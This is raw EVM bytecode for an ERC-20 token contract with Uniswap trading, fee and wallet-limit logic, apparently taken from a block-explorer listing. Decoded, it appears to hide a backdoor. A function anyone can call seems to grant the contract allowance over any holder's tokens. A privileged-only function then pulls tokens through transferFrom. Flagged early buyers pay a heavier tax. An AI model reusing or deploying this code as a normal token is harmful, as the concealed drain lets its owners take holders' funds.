66565b600060405180830381600087803b158015612a2257600080fd5b505af1158015612a36573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a6a82612a3f565b9050919050565b612a7a81612a5f565b82525050565b6000602082019050612a956000830184612a71565b92915050565b6000819050919050565b612aae81612a9b565b82525050565b6000602082019050612ac96000830184612aa5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b09578082015181840152602081019050612aee565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b3182612acf565b612b3b8185612ada565b9350612b4b818560208601612aeb565b612b5481612b15565b840191505092915050565b60006020820190508181036000830152612b798184612b26565b905092915050565b600080fd5b612b8f81612a5f565b8114612b9a57600080fd5b50565b600081359050612bac81612b86565b92915050565b612bbb81612a9b565b8114612bc657600080fd5b50565b600081359050612bd881612bb2565b92915050565b60008060408385031215612bf557612bf4612b81565b5b6000612c0385828601612b9d565b9250506020612c1485828601612bc9565b9150509250929050565b60008115159050919050565b612c3381612c1e565b82525050565b6000602082019050612c4e6000830184612c2a565b92915050565b6000819050919050565b6000612c79612c74612c6f84612a3f565b612c54565b612a3f565b9050919050565b6000612c8b82612c5e565b9050919050565b6000612c9d82612c80565b9050919050565b612cad81612c92565b82525050565b6000602082019050612cc86000830184612ca4565b92915050565b600080600060608486031215612ce757612ce6612b81565b5b6000612cf586828701612b9d565b9350506020612d0686828701612b9d565b9250506040612d1786828701612bc9565b9150509250925092565b600060208284031215612d3757612d36612b81565b5b6000612d4584828501612b9d565b91505092915050565b600060ff82169050919050565b612d6481612d4e565b82525050565b6000602082019050612d7f6000830184612d5b565b92915050565b60008060408385031215612d9c57612d9b612b81565b5b6000612daa85828601612b9d565b9250506020612dbb85828601612b9d565b9150509250929050565b612dce81612c1e565b8114612dd957600080fd5b50565b600081359050612deb81612dc5565b92915050565b60008060408385031215612e0857612e07612b81565b5b6000612e1685828601612b9d565b9250506020612e2785828601612ddc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e7157612e70612e31565b5b50565b6000819050612e8282612e60565b919050565b6000612e9282612e74565b9050919050565b612ea281612e87565b82525050565b6000602082019050612ebd6000830184612e99565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f0a57607f821691505b602082108103612f1d57612f1c612ec3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f5d82612a9b565b9150612f6883612a9b565b9250828201905080821115612f8057612f7f612f23565b5b92915050565b600081519050612f9581612bb2565b92915050565b600060208284031215612fb157612fb0612b81565b5b6000612fbf84828501612f86565b91505092915050565b6000604082019050612fdd6000830185612a71565b612fea6020830184612aa5565b9392505050565b60008151905061300081612dc5565b92915050565b60006020828403121561301c5761301b612b81565b5b600061302a84828501612ff1565b91505092915050565b60008151905061304281612b86565b92915050565b60006020828403121561305e5761305d612b81565b5b600061306c84828501613033565b91505092915050565b600060408201905061308a6000830185612a71565b6130976020830184612a71565b9392505050565b6000819050919050565b60006130c36130be6130b98461309e565b612c54565b612a9b565b9050919050565b6130d3816130a8565b82525050565b600060c0820190506130ee6000830189612a71565b6130fb6020830188612aa5565b61310860408301876130ca565b61311560608301866130ca565b6131226080830185612a71565b61312f60a0830184612aa5565b979650505050505050565b60008060006060848603121561315357613152612b81565b5b600061316186828701612f86565b935050602061317286828701612f86565b925050604061318386828701612f86565b9150509250925092565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006131e9602583612ada565b91506131f48261318d565b604082019050919050565b60006020820190508181036000830152613218816131dc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132b281612a5f565b82525050565b60006132c483836132a9565b60208301905092915050565b6000602082019050919050565b60006132e88261327d565b6132f28185613288565b93506132fd83613299565b8060005b8381101561332e57815161331588826132b8565b9750613320836132d0565b925050600181019050613301565b5085935050505092915050565b600060808201905061335060008301876130ca565b818103602083015261336281866132dd565b90506133716040830185612a71565b61337e6060830184612aa5565b95945050505050565b600060608201905061339c6000830186612a71565b6133a96020830185612a71565b6133b66040830184612aa5565b949350505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061341a602683612ada565b9150613425826133be565b604082019050919050565b600060208201905081810360008301526134498161340d565b9050919050565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b6000613486601a83612ada565b915061349182613450565b602082019050919050565b600060208201905081810360008301526134b581613479565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613518602483612ada565b9150613523826134bc565b604082019050919050565b600060208201905081810360008301526135478161350b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006135aa602283612ada565b91506135b58261354e565b604082019050919050565b600060208201905081810360008301526135d98161359d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613616601d83612ada565b9150613621826135e0565b602082019050919050565b6000602082019050818103600083015261364581613609565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136a8602583612ada565b91506136b38261364c565b604082019050919050565b600060208201905081810360008301526136d78161369b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061373a602383612ada565b9150613745826136de565b604082019050919050565b600060208201905081810360008301526137698161372d565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b60006137a6601383612ada565b91506137b182613770565b602082019050919050565b600060208201905081810360008301526137d581613799565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7420626566000000602082015250565b6000613838603d83612ada565b9150613843826137dc565b604082019050919050565b600060208201905081810360008301526138678161382b565b9050919050565b7f45524332303a2062616c616e636520616d6f756e74206578636565646564206d60008201527f61782077616c6c657420616d6f756e74206c696d697400000000000000000000602082015250565b60006138ca603683612ada565b91506138d58261386e565b604082019050919050565b600060208201905081810360008301526138f9816138bd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7400000000000000602082015250565b600061395c603983612ada565b915061396782613900565b604082019050919050565b6000602082019050818103600083015261398b8161394f565b9050919050565b600061399d82612a9b565b91506139a883612a9b565b92508282026139b681612a9b565b915082820484148315176139cd576139cc612f23565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a0e82612a9b565b9150613a1983612a9b565b925082613a2957613a286139d4565b5b828204905092915050565b6000613a3f82612a9b565b9150613a4a83612a9b565b9250828203905081811115613a6257613a61612f23565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613a9e602083612ada565b9150613aa982613a68565b602082019050919050565b60006020820190508181036000830152613acd81613a91565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b30602683612ada565b9150613b3b82613ad4565b604082019050919050565b60006020820190508181036000830152613b5f81613b23565b9050919050565b600060a082019050613b7b6000830188612aa5565b613b886020830187612aa5565b8181036040830152613b9a81866132dd565b9050613ba96060830185612a71565b613bb66080830184612aa5565b969550505050505056fea264697066735822122037b54ac99aab82bc496f71bd744d1c007990338983f3c5ff35c986e62653cfc664736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102135760003560e01c8063715018a611610118578063aa4bde28116100a0578063e5b37a651161006f578063e5b37a65146107bb578063ef437ff5146107f8578063f2fde38b14610821578063fb201b1d1461084a578063fca675a8146108615761021a565b8063aa4bde28146106ff578063b61b64fa1461072a578063d1cc670914610755578063dd62ed3e1461077e5761021a565b80638da5cb5b116100e75780638da5cb5b1461060457806395d89b411461062f578063a014f37d1461065a578063a457c2d714610685578063a9059cbb146106c25761021a565b8063715018a61461056e578063751039fc146105855780638baa82491461059c5780638c0b5e22146105d95761021a565b806333ee17931161019b5780634a123fb81161016a5780634a123fb8146104965780634d3eaaa8146104bf57806354b762a6146104fc5780635d8d7f371461052757806370a08231146105315761021a565b806333ee1793146103d857806339509351146104035780633eb5d9b21461044057806349bd5a5e1461046b5761021a565b80631694505e116101e25780631694505e146102dd57806318160ddd1461030857806323b872dd146103335780632fee9e7e14610370578063313ce567146103ad5761021a565b806303fd2a451461021f5780630445b6671461024a57806306fdde0314610275578063095ea7b3146102a05761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461088c565b6040516102419190612a80565b60405180910390f35b34801561025657600080fd5b5061025f6108b2565b60405161026c9190612ab4565b60405180910390f35b34801561028157600080fd5b5061028a6108b8565b6040516102979190612b5f565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c29190612bde565b61094a565b6040516102d49190612c39565b60405180910390f35b3480156102e957600080fd5b506102f261096d565b6040516102ff9190612cb3565b60405180910390f35b34801561031457600080fd5b5061031d610991565b60405161032a9190612ab4565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190612cce565b61099b565b6040516103679190612c39565b60405180910390f35b34801561037c57600080fd5b5061039760048036038101906103929190612d21565b6109ca565b6040516103a49190612c39565b60405180910390f35b3480156103b957600080fd5b506103c26109ea565b6040516103cf9190612d6a565b60405180910390f35b3480156103e457600080fd5b506103ed6109f3565b6040516103fa9190612ab4565b60405180910390f35b34801561040f57600080fd5b5061042a60048036038101906104259190612bde565b6109f9565b6040516104379190612c39565b60405180910390f35b34801561044c57600080fd5b50610455610a30565b6040516104629190612ab4565b60405180910390f35b34801561047757600080fd5b50610480610a36565b60405161048d9190612a80565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190612d21565b610a5c565b005b3480156104cb57600080fd5b506104e660048036038101906104e19190612bde565b610b81565b6040516104f39190612c39565b60405180910390f35b34801561050857600080fd5b50610511610bb1565b60405161051e9190612c39565b60405180910390f35b61052f610c2d565b005b34801561053d57600080fd5b5061055860048036038101906105539190612d21565b610f16565b6040516105659190612ab4565b60405180910390f35b34801561057a57600080fd5b50610583610f5e565b005b34801561059157600080fd5b5061059a610f72565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612d21565b610fa2565b6040516105d09190612c39565b60405180910390f35b3480156105e557600080fd5b506105ee610fc2565b6040516105fb9190612ab4565b60405180910390f35b34801561061057600080fd5b50610619610fc8565b6040516106269190612a80565b60405180910390f35b34801561063b57600080fd5b50610644610ff2565b6040516106519190612b5f565b60405180910390f35b34801561066657600080fd5b5061066f611084565b60405161067c9190612c39565b60405180910390f35b34801561069157600080fd5b506106ac60048036038101906106a79190612bde565b6110d0565b6040516106b99190612c39565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190612bde565b611147565b6040516106f69190612c39565b60405180910390f35b34801561070b57600080fd5b5061071461116a565b6040516107219190612ab4565b60405180910390f35b34801561073657600080fd5b5061073f611170565b60405161074c9190612ab4565b60405180910390f35b34801561076157600080fd5b5061077c60048036038101906107779190612bde565b611176565b005b34801561078a57600080fd5b506107a560048036038101906107a09190612d85565b61149c565b6040516107b29190612ab4565b60405180910390f35b3480156107c757600080fd5b506107e260048036038101906107dd9190612d21565b611523565b6040516107ef9190612c39565b60405180910390f35b34801561080457600080fd5b5061081f600480360381019061081a9190612df1565b611543565b005b34801561082d57600080fd5b5061084860048036038101906108439190612d21565b6115a6565b005b34801561085657600080fd5b5061085f611629565b005b34801561086d57600080fd5b506108766116b9565b6040516108839190612ea8565b60405180910390f35b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6060600380546108c790612ef2565b80601f01602080910402602001604051908101604052809291908181526020018280546108f390612ef2565b80156109405780601f1061091557610100808354040283529160200191610940565b820191906000526020600020905b81548152906001019060200180831161092357829003601f168201915b5050505050905090565b6000806109556116cc565b90506109628185856116d4565b600191505092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6000806109a66116cc565b90506109b385828561189d565b6109be858585611929565b60019150509392505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b60125481565b600080610a046116cc565b9050610a25818585610a16858961149c565b610a209190612f52565b6116d4565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a646122e3565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610adc9190612a80565b602060405180830381865afa158015610af9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1d9190612f9b565b6040518363ffffffff1660e01b8152600401610b3a929190612fc8565b6020604051808303816000875af1158015610b59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7d9190613006565b5050565b600080309050610ba6848285610b97888661149c565b610ba19190612f52565b6116d4565b600191505092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610c1d573d6000803e3d6000fd5b5060006016819055506001905090565b610c356122e3565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc49190613048565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f9190613048565b6040518363ffffffff1660e01b8152600401610d8c929190613075565b6020604051808303816000875af1158015610dab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcf9190613048565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e5a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6116d4565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610ea130610f16565b600080610eac610fc8565b426040518863ffffffff1660e01b8152600401610ece969594939291906130d9565b60606040518083038185885af1158015610eec573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f11919061313a565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f666122e3565b610f706000612361565b565b610f7a6122e3565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461100190612ef2565b80601f016020809104026020016040519081016040528092919081815260200182805461102d90612ef2565b801561107a5780601f1061104f5761010080835404028352916020019161107a565b820191906000526020600020905b81548152906001019060200180831161105d57829003601f168201915b5050505050905090565b600061108e6122e3565b6003601060006101000a81548160ff021916908360038111156110b4576110b3612e31565b5b0217905550600060118190555060006012819055506001905090565b6000806110db6116cc565b905060006110e9828661149c565b90508381101561112e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611125906131ff565b60405180910390fd5b61113b82868684036116d4565b60019250505092915050565b6000806111526116cc565b905061115f818585611929565b600191505092915050565b60095481565b60165481565b6000600267ffffffffffffffff8111156111935761119261321f565b5b6040519080825280602002602001820160405280156111c15781602001602082028036833780820191505090505b5090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561122f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112539190613048565b816000815181106112675761126661324e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106112b6576112b561324e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816001815181106113065761130561324e565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166113f9577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b81526004016113c2949392919061333b565b6000604051808303818588803b1580156113db57600080fd5b505af11580156113ef573d6000803e3d6000fd5b5050505050611496565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd858460018151811061142a5761142961324e565b5b6020026020010151866040518463ffffffff1660e01b815260040161145193929190613387565b6020604051808303816000875af1158015611470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114949190613006565b505b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b61154b6122e3565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6115ae6122e3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361161d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161490613430565b60405180910390fd5b61162681612361565b50565b6116316122e3565b601060029054906101000a900460ff1615611681576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116789061349c565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b601060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a9061352e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a9906135c0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118909190612ab4565b60405180910390a3505050565b60006118a9848461149c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119235781811015611915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190c9061362c565b60405180910390fd5b61192284848484036116d4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f906136be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fe90613750565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aab5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b0057601060029054906101000a900460ff16611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af6906137bc565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ba45750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c9d57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c9c57600854811115611c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3a9061384e565b60405180910390fd5b600954611c4f83610f16565b82611c5a9190612f52565b1115611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c92906138e0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d465750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122d257601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611df45750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156121e457600854821115611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3590613972565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611ee55750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f1d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611fef5760006003811115611f3657611f35612e31565b5b601060009054906101000a900460ff166003811115611f5857611f57612e31565b5b03611fb6576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611fc89190613992565b611fd29190613a03565b9050611fdf853083612427565b8083611feb9190613a34565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120965750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120ce57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120e65750601060039054906101000a900460ff165b80156120ff5750601060019054906101000a900460ff16155b156121df576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036121695760135490505b6001601060016101000a81548160ff02191690831515021790555061218c61269d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121b79190613992565b6121c19190613a03565b90506121ce863083612427565b80846121da9190613a34565b925050505b6122d1565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561229257508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156122d05760006064601354846122a99190613992565b6122b39190613a03565b90506122c0853083612427565b80836122cc9190613a34565b9150505b5b5b6122dd848483612427565b50505050565b6122eb6116cc565b73ffffffffffffffffffffffffffffffffffffffff16612309610fc8565b73ffffffffffffffffffffffffffffffffffffffff161461235f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235690613ab4565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248d906136be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fc90613750565b60405180910390fd5b612510838383612764565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d90613b46565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126849190612ab4565b60405180910390a3612697848484612769565b50505050565b60006126a830610f16565b0315612762576000806126ba30610f16565b9050600047905060006126ee600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f16565b90506000600a5484111561275c5747925061270a84600061276e565b82476127169190613a34565b9450600a54821115612742578061272e576000612730565b845b8561273b9190613a03565b6016819055505b84601660008282546127549190612f52565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561278b5761278a61321f565b5b6040519080825280602002602001820160405280156127b95781602001602082028036833780820191505090505b50905030816000815181106127d1576127d061324e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061289a9190613048565b816001815181106128ae576128ad61324e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612963929190612fc8565b6020604051808303816000875af1158015612982573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a69190613006565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b8152600401612a08959493929190613b66565b600060405180830381600087803b158015612a2257600080fd5b505af1158015612a36573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a6a82612a3f565b9050919050565b612a7a81612a5f565b82525050565b6000602082019050612a956000830184612a71565b92915050565b6000819050919050565b612aae81612a9b565b82525050565b6000602082019050612ac96000830184612aa5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b09578082015181840152602081019050612aee565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b3182612acf565b612b3b8185612ada565b9350612b4b818560208601612aeb565b612b5481612b15565b840191505092915050565b60006020820190508181036000830152612b798184612b26565b905092915050565b600080fd5b612b8f81612a5f565b8114612b9a57600080fd5b50565b600081359050612bac81612b86565b92915050565b612bbb81612a9b565b8114612bc657600080fd5b50565b600081359050612bd881612bb2565b92915050565b60008060408385031215612bf557612bf4612b81565b5b6000612c0385828601612b9d565b9250506020612c1485828601612bc9565b9150509250929050565b60008115159050919050565b612c3381612c1e565b82525050565b6000602082019050612c4e6000830184612c2a565b92915050565b6000819050919050565b6000612c79612c74612c6f84612a3f565b612c54565b612a3f565b9050919050565b6000612c8b82612c5e565b9050919050565b6000612c9d82612c80565b9050919050565b612cad81612c92565b82525050565b6000602082019050612cc86000830184612ca4565b92915050565b600080600060608486031215612ce757612ce6612b81565b5b6000612cf586828701612b9d565b9350506020612d0686828701612b9d565b9250506040612d1786828701612bc9565b9150509250925092565b600060208284031215612d3757612d36612b81565b5b6000612d4584828501612b9d565b91505092915050565b600060ff82169050919050565b612d6481612d4e565b82525050565b6000602082019050612d7f6000830184612d5b565b92915050565b60008060408385031215612d9c57612d9b612b81565b5b6000612daa85828601612b9d565b9250506020612dbb85828601612b9d565b9150509250929050565b612dce81612c1e565b8114612dd957600080fd5b50565b600081359050612deb81612dc5565b92915050565b60008060408385031215612e0857612e07612b81565b5b6000612e1685828601612b9d565b9250506020612e2785828601612ddc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e7157612e70612e31565b5b50565b6000819050612e8282612e60565b919050565b6000612e9282612e74565b9050919050565b612ea281612e87565b82525050565b6000